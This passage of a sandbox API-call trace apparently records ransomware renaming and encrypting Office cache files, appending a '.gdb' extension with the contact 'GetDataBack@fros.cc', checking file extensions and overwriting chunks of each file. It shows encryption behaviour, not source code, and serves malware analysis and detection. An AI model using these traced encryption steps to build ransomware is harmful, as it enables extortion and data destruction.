returned 26 [0115.671] lstrlenW (lpString=".1cd") returned 4 [0115.671] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.671] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0115.671] lstrlenW (lpString=".jpg") returned 4 [0115.671] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.671] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0115.671] lstrlenW (lpString="PptLR.cab") returned 9 [0115.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0115.681] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=70361744) returned 1 [0115.681] CloseHandle (hObject=0x1b0) returned 1 [0115.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0115.681] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.681] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0115.682] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0115.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0115.682] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0115.682] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0115.701] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0115.701] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0115.734] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.735] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0115.735] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0115.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0115.753] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc00fe, lpOverlapped=0x0) returned 1 [0116.281] SetEndOfFile (hFile=0x1b0) returned 1 [0116.285] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0116.285] WriteFile (in: hFile=0x1b0, lpBuffer=0x3857fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3857fb8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0116.286] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0116.286] WriteFile (in: hFile=0x1b0, lpBuffer=0x3857fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3857fb8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0116.287] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0116.287] WriteFile (in: hFile=0x1b0, lpBuffer=0x3857fb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3857fb8*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0116.288] CloseHandle (hObject=0x1b0) returned 1 [0119.408] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0119.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.408] lstrlenW (lpString=".doc") returned 4 [0119.409] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".docx") returned 5 [0119.409] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0119.409] lstrlenW (lpString=".pdf") returned 4 [0119.409] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".xls") returned 4 [0119.409] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".xlsx") returned 5 [0119.409] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0119.409] lstrlenW (lpString=".ppt") returned 4 [0119.409] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString=".zip") returned 4 [0119.409] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".rar") returned 4 [0119.409] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".bz2") returned 4 [0119.409] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0119.409] lstrlenW (lpString=".7z") returned 3 [0119.409] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString=".dbf") returned 4 [0119.409] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString=".1cd") returned 4 [0119.409] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString=".jpg") returned 4 [0119.409] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.409] lstrlenW (lpString=".doc") returned 4 [0119.409] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0119.409] lstrlenW (lpString=".docx") returned 5 [0119.410] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0119.410] lstrlenW (lpString=".pdf") returned 4 [0119.410] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString=".xls") returned 4 [0119.410] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString=".xlsx") returned 5 [0119.410] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0119.410] lstrlenW (lpString=".ppt") returned 4 [0119.410] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.410] lstrlenW (lpString=".zip") returned 4 [0119.410] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString=".rar") returned 4 [0119.410] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString=".bz2") returned 4 [0119.410] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0119.410] lstrlenW (lpString=".7z") returned 3 [0119.410] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0119.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.410] lstrlenW (lpString=".dbf") returned 4 [0119.410] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0119.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.410] lstrlenW (lpString=".1cd") returned 4 [0119.410] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0119.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0119.410] lstrlenW (lpString=".jpg") returned 4 [0119.410] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0119.410] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0119.410] lstrlenW (lpString="WordLR.cab") returned 10 [0119.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0119.411] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=43806141) returned 1 [0119.411] CloseHandle (hObject=0x1b0) returned 1 [0119.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0119.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0119.411] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0119.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0119.414] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0119.414] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0119.414] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0119.420] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0119.420] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0119.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0119.426] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0119.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0119.444] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0119.444] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0100, lpOverlapped=0x0) returned 1 [0119.822] SetEndOfFile (hFile=0x1b0) returned 1 [0119.822] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0119.822] WriteFile (in: hFile=0x1b0, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.823] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0119.823] WriteFile (in: hFile=0x1b0, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.825] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0119.825] WriteFile (in: hFile=0x1b0, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0119.827] CloseHandle (hObject=0x1b0) returned 1 [0122.044] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".doc") returned 4 [0122.045] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".docx") returned 5 [0122.045] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0122.045] lstrlenW (lpString=".pdf") returned 4 [0122.045] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".xls") returned 4 [0122.045] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".xlsx") returned 5 [0122.045] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0122.045] lstrlenW (lpString=".ppt") returned 4 [0122.045] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".zip") returned 4 [0122.045] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".rar") returned 4 [0122.045] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".bz2") returned 4 [0122.045] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0122.045] lstrlenW (lpString=".7z") returned 3 [0122.045] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".dbf") returned 4 [0122.045] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".1cd") returned 4 [0122.045] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".jpg") returned 4 [0122.045] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.045] lstrlenW (lpString=".doc") returned 4 [0122.045] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0122.045] lstrlenW (lpString=".docx") returned 5 [0122.046] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0122.046] lstrlenW (lpString=".pdf") returned 4 [0122.046] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString=".xls") returned 4 [0122.046] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString=".xlsx") returned 5 [0122.046] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0122.046] lstrlenW (lpString=".ppt") returned 4 [0122.046] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.046] lstrlenW (lpString=".zip") returned 4 [0122.046] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString=".rar") returned 4 [0122.046] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString=".bz2") returned 4 [0122.046] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0122.046] lstrlenW (lpString=".7z") returned 3 [0122.046] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0122.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.046] lstrlenW (lpString=".dbf") returned 4 [0122.046] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0122.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.046] lstrlenW (lpString=".1cd") returned 4 [0122.046] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0122.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0122.046] lstrlenW (lpString=".jpg") returned 4 [0122.046] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0122.046] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0122.046] lstrlenW (lpString="Proof.cab") returned 9 [0122.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0122.047] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=21064532) returned 1 [0122.047] CloseHandle (hObject=0x1b0) returned 1 [0122.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0122.047] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.047] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0122.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0122.264] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0122.264] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0122.264] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0122.273] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0122.273] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0122.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.277] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0122.277] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0122.296] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0122.296] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc00fe, lpOverlapped=0x0) returned 1 [0122.313] SetEndOfFile (hFile=0x1b0) returned 1 [0122.317] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0122.317] WriteFile (in: hFile=0x1b0, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0122.318] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, 